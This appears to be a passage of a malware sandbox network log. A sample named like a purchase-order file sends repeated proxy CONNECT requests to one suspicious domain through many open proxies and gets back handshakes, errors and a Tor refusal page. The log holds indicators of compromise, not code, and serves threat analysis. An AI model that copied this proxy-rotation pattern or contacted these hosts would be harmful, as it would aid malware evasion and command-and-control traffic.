Mar 11, 2024 16:39:46.945301056 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
658	192.168.2.10	52220	218.145.131.182	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.650218010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
659	192.168.2.10	52223	218.145.131.182	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.652122021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
660	192.168.2.10	52229	218.145.131.182	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.656035900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
661	192.168.2.10	51957	18.228.198.164	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.657150984 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.982175112 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:47.018641949 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 25 c1 54 3f c1 b7 32 24 d1 ef 8b 08 00 18 8b bd 0e 50 3c da 11 17 2d 5b 02 ed f4 56 0f 18 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%T?2$P<-[V*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 16:39:47.343374014 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 71 69 23 90 b5 fc cc 49 8f 39 15 a3 07 63 28 b7 31 b3 99 1d a8 6a b9 90 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =9qi#I9c(1jDOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311151112Z260311151112Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 16:39:47.345580101 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 82 e1 0e a0 41 e6 04 15 09 fc 86 73 1f 8f 23 27 4a 5b 9a 6d 58 46 02 67 7f 83 23 8e bc 96 4e 04 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 45 ae 03 0e 97 18 34 e6 f6 8b 96 62 37 69 c6 4d 35 ed 83 07 64 Data Ascii: %! As#'J[mXFg#N(E4b7iM5dWiQSb
Mar 11, 2024 16:39:49.850730896 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 0e 28 2c 0e a5 94 e8 2b 2c 06 2f 1e 85 87 d0 9a 81 65 34 51 a2 ff e8 17 09 8a d2 81 44 d5 3b 91 af bd e5 aa 86 96 08 0f Data Ascii: ((,+,/e4QD;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
662	192.168.2.10	52121	172.67.182.48	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.660888910 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.815376997 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
663	192.168.2.10	51937	143.64.8.21	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.667181015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.210424900 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
664	192.168.2.10	51977	128.199.165.63	33574	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.723442078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.489068031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.676623106 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
665	192.168.2.10	51993	43.129.228.46	7891	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.730212927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
666	192.168.2.10	49741	200.174.198.95	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.732213020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.193340063 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
667	192.168.2.10	51990	38.242.251.177	6270	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.732620955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
668	192.168.2.10	52010	54.36.122.16	17188	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.733433962 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.410835028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.410928011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.301496983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.909847021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.505173922 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:01.207958937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:08.413925886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:22.745455980 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
669	192.168.2.10	52070	72.49.49.11	31034	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.736346006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
670	192.168.2.10	51345	31.44.82.2	38080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.737021923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.785851955 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.791691065 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
671	192.168.2.10	52016	144.76.96.180	5566	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.739929914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.284195900 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
672	192.168.2.10	51988	45.138.87.238	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.741858006 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
673	192.168.2.10	52271	43.153.64.66	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.744570017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
674	192.168.2.10	52273	43.153.64.66	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.745471954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
675	192.168.2.10	51971	93.171.220.229	8888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.746644020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
676	192.168.2.10	52275	43.153.64.66	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.746722937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
677	192.168.2.10	52277	43.153.64.66	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.747482061 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
678	192.168.2.10	52158	104.19.138.4	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.748408079 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.902894974 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
679	192.168.2.10	52046	47.242.234.237	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.750032902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
680	192.168.2.10	52038	14.103.26.53	8000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.755074978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
681	192.168.2.10	52114	72.210.221.223	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.757570028 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
682	192.168.2.10	52058	8.213.128.90	7779	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.760663033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.613818884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.470144033 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
683	192.168.2.10	52071	3.10.93.50	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.768081903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.059452057 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
684	192.168.2.10	52129	43.163.192.3	15673	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.768898010 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

